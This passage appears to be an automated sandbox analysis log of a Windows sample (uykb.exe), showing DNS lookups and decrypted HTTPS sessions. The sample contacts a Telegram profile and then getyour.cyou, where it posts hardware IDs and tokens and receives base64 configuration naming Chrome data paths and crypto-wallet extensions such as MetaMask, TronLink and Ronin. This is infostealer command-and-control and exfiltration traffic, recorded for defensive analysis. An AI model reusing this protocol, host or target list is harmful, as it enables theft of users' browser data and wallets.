Feb 1, 2025 21:59:23.593791008 CET	1.1.1.1	192.168.2.6	0xb473	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:23.595305920 CET	1.1.1.1	192.168.2.6	0x69d5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Feb 1, 2025 21:59:23.595760107 CET	1.1.1.1	192.168.2.6	0xdf3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:23.595760107 CET	1.1.1.1	192.168.2.6	0xdf3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:23.595803976 CET	1.1.1.1	192.168.2.6	0xd65a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Feb 1, 2025 21:59:23.873393059 CET	1.1.1.1	192.168.2.6	0x53e8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:23.873393059 CET	1.1.1.1	192.168.2.6	0x53e8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Feb 1, 2025 21:59:24.100881100 CET	1.1.1.1	192.168.2.6	0x923c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 1, 2025 21:59:24.100881100 CET	1.1.1.1	192.168.2.6	0x923c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

getyour.cyou

www.google.com

ntp.msn.com

https:

assets.msn.com

c.msn.com

sb.scorecardresearch.com

browser.events.data.msn.com

clients2.googleusercontent.com

chrome.cloudflare-dns.com

deff.nelreports.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	149.154.167.99	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:58:54 UTC	85	OUT	GET /m08mbk HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:58:54 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 01 Feb 2025 20:58:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12307 Connection: close Set-Cookie: stel_ssid=596f40ef5018e33d00_1079078466079519947; expires=Sun, 02 Feb 2025 20:58:54 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-02-01 20:58:54 UTC	12307	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 30 38 6d 62 6b 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @m08mbk</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:58:55 UTC	185	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:58:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:58:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:58:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49711	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:58:56 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----sjmgvk6ppph4e37ycjmy User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:58:56 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 73 6a 6d 67 76 6b 36 70 70 70 68 34 65 33 37 79 63 6a 6d 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 42 46 36 42 36 41 41 36 33 44 39 38 31 35 37 39 33 38 31 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 73 6a 6d 67 76 6b 36 70 70 70 68 34 65 33 37 79 63 6a 6d 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 73 6a 6d 67 76 6b 36 70 70 70 68 34 65 33 37 79 63 6a 6d 79 2d 2d 0d 0a Data Ascii: ------sjmgvk6ppph4e37ycjmyContent-Disposition: form-data; name="hwid"57BF6B6AA63D981579381-a33c7340-61ca------sjmgvk6ppph4e37ycjmyContent-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------sjmgvk6ppph4e37ycjmy--
2025-02-01 20:58:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:58:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:58:57 UTC	70	IN	Data Raw: 33 62 0d 0a 31 7c 31 7c 31 7c 31 7c 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 7c 31 7c 31 7c 31 7c 30 7c 30 7c 31 30 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3b1\|1\|1\|1\|e48d163855061acf7c9d20920bc97bf7\|1\|1\|1\|0\|0\|100000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49712	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:58:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 77 4f 54 64 45 6b 65 41 71 6b 4f 58 77 4f 70 30 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 39 32 63 63 37 31 30 34 39 65 34 37 66 66 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: wOTdEkeAqkOXwOp0.1Context: 792cc71049e47ff3
2025-02-01 20:58:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-02-01 20:58:57 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 77 4f 54 64 45 6b 65 41 71 6b 4f 58 77 4f 70 30 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 39 32 63 63 37 31 30 34 39 65 34 37 66 66 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 65 4e 31 4e 48 63 33 2b 66 68 56 37 79 68 39 54 73 77 70 39 42 59 51 55 30 41 5a 39 46 50 4f 62 39 71 4d 46 38 34 79 37 58 65 58 49 48 58 68 6c 77 55 42 75 65 58 66 51 58 46 33 52 4e 47 6c 5a 32 58 4a 55 41 6b 38 58 71 41 79 63 31 79 6e 58 30 72 76 4c 6e 50 71 79 41 6d 34 6c 56 32 39 73 6a 63 44 41 66 51 2b 31 4f 53 36 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: wOTdEkeAqkOXwOp0.2Context: 792cc71049e47ff3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdeN1NHc3+fhV7yh9Tswp9BYQU0AZ9FPOb9qMF84y7XeXIHXhlwUBueXfQXF3RNGlZ2XJUAk8XqAyc1ynX0rvLnPqyAm4lV29sjcDAfQ+1OS6h
2025-02-01 20:58:57 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 77 4f 54 64 45 6b 65 41 71 6b 4f 58 77 4f 70 30 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 39 32 63 63 37 31 30 34 39 65 34 37 66 66 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: wOTdEkeAqkOXwOp0.3Context: 792cc71049e47ff3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-02-01 20:58:58 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-02-01 20:58:58 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6c 63 39 64 36 75 64 45 42 45 43 59 70 57 4f 4c 77 51 39 54 78 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: lc9d6udEBECYpWOLwQ9Txg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49713	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:58:58 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----gdbi5pppzmgln7yua168 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:58:58 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 64 62 69 35 70 70 70 7a 6d 67 6c 6e 37 79 75 61 31 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 67 64 62 69 35 70 70 70 7a 6d 67 6c 6e 37 79 75 61 31 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 67 64 62 69 35 70 70 70 7a 6d 67 6c 6e 37 79 75 61 31 36 38 0d 0a 43 6f 6e 74 Data Ascii: ------gdbi5pppzmgln7yua168Content-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------gdbi5pppzmgln7yua168Content-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------gdbi5pppzmgln7yua168Cont
2025-02-01 20:58:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:58:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:58:58 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49714	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:58:59 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ohvs0rimglnym79zmgdj User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:58:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6f 68 76 73 30 72 69 6d 67 6c 6e 79 6d 37 39 7a 6d 67 64 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 6f 68 76 73 30 72 69 6d 67 6c 6e 79 6d 37 39 7a 6d 67 64 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 6f 68 76 73 30 72 69 6d 67 6c 6e 79 6d 37 39 7a 6d 67 64 6a 0d 0a 43 6f 6e 74 Data Ascii: ------ohvs0rimglnym79zmgdjContent-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------ohvs0rimglnym79zmgdjContent-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------ohvs0rimglnym79zmgdjCont
2025-02-01 20:59:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:00 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49716	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:01 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----cj58q9rqqimg4ect0zuk User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:01 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 6a 35 38 71 39 72 71 71 69 6d 67 34 65 63 74 30 7a 75 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 63 6a 35 38 71 39 72 71 71 69 6d 67 34 65 63 74 30 7a 75 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 63 6a 35 38 71 39 72 71 71 69 6d 67 34 65 63 74 30 7a 75 6b 0d 0a 43 6f 6e 74 Data Ascii: ------cj58q9rqqimg4ect0zukContent-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------cj58q9rqqimg4ect0zukContent-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------cj58q9rqqimg4ect0zukCont
2025-02-01 20:59:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:01 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49722	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:02 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----5ppzmop8g4wln7g4wbi5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 5733 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:02 UTC	5733	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 70 70 7a 6d 6f 70 38 67 34 77 6c 6e 37 67 34 77 62 69 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 35 70 70 7a 6d 6f 70 38 67 34 77 6c 6e 37 67 34 77 62 69 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 35 70 70 7a 6d 6f 70 38 67 34 77 6c 6e 37 67 34 77 62 69 35 0d 0a 43 6f 6e 74 Data Ascii: ------5ppzmop8g4wln7g4wbi5Content-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------5ppzmop8g4wln7g4wbi5Content-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------5ppzmop8g4wln7g4wbi5Cont
2025-02-01 20:59:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:02 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49728	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:03 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----glf379z5pzctjek68gv3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:03 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 6c 66 33 37 39 7a 35 70 7a 63 74 6a 65 6b 36 38 67 76 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 67 6c 66 33 37 39 7a 35 70 7a 63 74 6a 65 6b 36 38 67 76 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 67 6c 66 33 37 39 7a 35 70 7a 63 74 6a 65 6b 36 38 67 76 33 0d 0a 43 6f 6e 74 Data Ascii: ------glf379z5pzctjek68gv3Content-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------glf379z5pzctjek68gv3Content-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------glf379z5pzctjek68gv3Cont
2025-02-01 20:59:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:04 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49744	216.58.212.164	443	3468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
